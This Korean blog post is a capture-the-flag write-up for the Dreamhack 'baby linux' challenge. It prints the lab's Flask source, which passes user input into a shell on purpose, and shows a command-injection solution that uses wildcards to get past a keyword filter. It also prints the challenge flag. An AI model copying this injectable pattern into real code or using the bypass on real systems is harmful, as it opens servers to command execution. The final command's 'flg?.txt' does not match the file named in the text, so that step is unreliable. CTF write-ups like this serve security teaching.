☆ Beginner - baby linux ☆
[1] 문제
♣ baye linux 문제는 Dreamhack CTF Season 3 Round #2에 출제된 문제이다.
♣ flag.txt 파일을 찾는 리눅스 문제인 것으로 확인된다.
[2] 풀이
♣ 서버를 생성하고 생성된 URL을 클릭해 웹 서버에 접속한다.
♣ 접속한 웹 서버의 모습을 확인할 수 있다.
♣ 'echo $( )' 명령 안에 'ls -l'를 집어 넣어 작업 공간을 확인한다.
♣ Result에 출력된 결과에는 다음과 같은 파일과 디렉터리 목록이 확인된다.
total 24K
-rwxr-xr-x 1 root root 884 Apr 21 2023 app.py
drwxr-xr-x 3 root root 4.0K Apr 21 2023 dream
-rw-r--r-- 1 root root 34 Apr 21 2023 hint.txt
-rw-r--r-- 1 root root 5 Apr 21 2023 requirements.txt
drwxr-xr-x 5 root root 4.0K Apr 21 2023 static
drwxr-xr-x 2 root root 4.0K Apr 21 2023 templates
♣ 목록들 중 hint.txt 파일을 확인한다.
♣ flag.txt에 대한 힌트가 출력되었다. 해당 경로는 상대 경로로 되어 있고, 해당 경로에 flag.txt 파일이 있다는 것을 알려준다.
Where is Flag? ./dream/hack/hello
♣ 'pwd' 명령을 통해 현재 작업중인 디렉터리의 경로를 확인한다.
♣ '/app'에서 작업중인 것을 확인할 수 있다.
/app
♣ 'ls -l' 명령으로 'hint.txt'에서 확인했던 '/app/dream/hack/hello' 경로에 flag.txt가 있는지 확인한다.
# 사용한 명령어
ls -l /app/dream/hack/hello
♣ flag.txt 파일이 존재하는 것을 확인하였다.
total 4 -rw-r--r-- 1 root root 68 Apr 21 2023 flag.txt
♣ 'cat' 명령을 통해 flag.txt 파일의 내용을 출력한다.
# 사용한 명령어
cat /app/dream/hack/hello/flag.txt
♣ 'No!'가 출력된다. 문제의 답 형식인 DH { ... } 형식이 아니기 때문에 이는 정답이 아니다.
No!
♣ 'No!'가 출력된 이유를 확인하기 위해 문제 파일 소스코드를 다운받는다.
♣ 또는 처음 'ls -l' 명령으로 확인했던 파일 중 'app.py'를 'cat' 명령을 통해 확인한다.
♣ 다운받은 app.py 파이썬 소스코드의 내용은 다음과 같다.
#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template
APP = Flask(__name__)
@APP.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
user_input = request.form.get('user_input')
cmd = f'echo $({user_input})'
if 'flag' in cmd:
return render_template('index.html', result='No!')
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('index.html', result=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('index.html', result='Timeout')
except subprocess.CalledProcessError:
return render_template('index.html', result='Error')
return render_template('index.html')
if __name__ == '__main__':
APP.run(host='0.0.0.0', port=8000)
♣ if문에 'flag'가 입력되면 'No!'를 출력한다는 부분을 확인할 수 있다.
if 'flag' in cmd:
return render_template('index.html', result='No!')
♣ 'cat' 명령을 사용하여 flag.txt 텍스트 파일을 출력하되, flag 문자열이 모두 입력되지 않도록 와일드카드 문자를 사용하여 'fla*' 또는 'fla?.txt ' 등과 같이 입력한다.
# 사용한 명령어
cat /app/dream/hack/hello/flg?.txt
♣ 플래그 값을 얻어냈다. 문제의 답을 제출한다.
DH{671ce26c70829e716fae26c7c71a33823feb479f2562891f64605bf68f60ae54}
♣ 제출 결과
[Wild Card(와일드카드)]
♣ * : 모든 문자를 찾아주는 리눅스 명령어, a-z, 0-9 범위 내 임의의 0개 이상의 문자를 대체한다.
♣ ? : 문자 하나를 찾아주는 리눅스 명령어, a-z, 0-9 범위 내 임의의1개의 문자를 대체한다.
♣ {} : 중괄호 안에 있는 문자열 중 하나와 일치하는 것을 찾아주는 리눅스 명령
♣ [] : 대괄호 안에 있는 문자로 대체된다. [문자1 - 문자2] 또는 [문자1, 문자5, ...] 형태로 범위를 지정한다.
'정보보안 > Dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] Beginner - blue whale (0) | 2024.11.29 |
---|---|
[Dreamhack Wargame] Beginner - Exercise : Docker (0) | 2024.11.28 |
[Dreamhack Wargame] Beginnger - Exersice : SSH (0) | 2024.11.26 |
[Dreamhack Wargame] Beginner - Exercise : Welcome-Beginners 문제 풀이 (0) | 2024.11.25 |
[Dreamhack Wargame] Beginner - 64se64 문제 풀이 (0) | 2024.11.04 |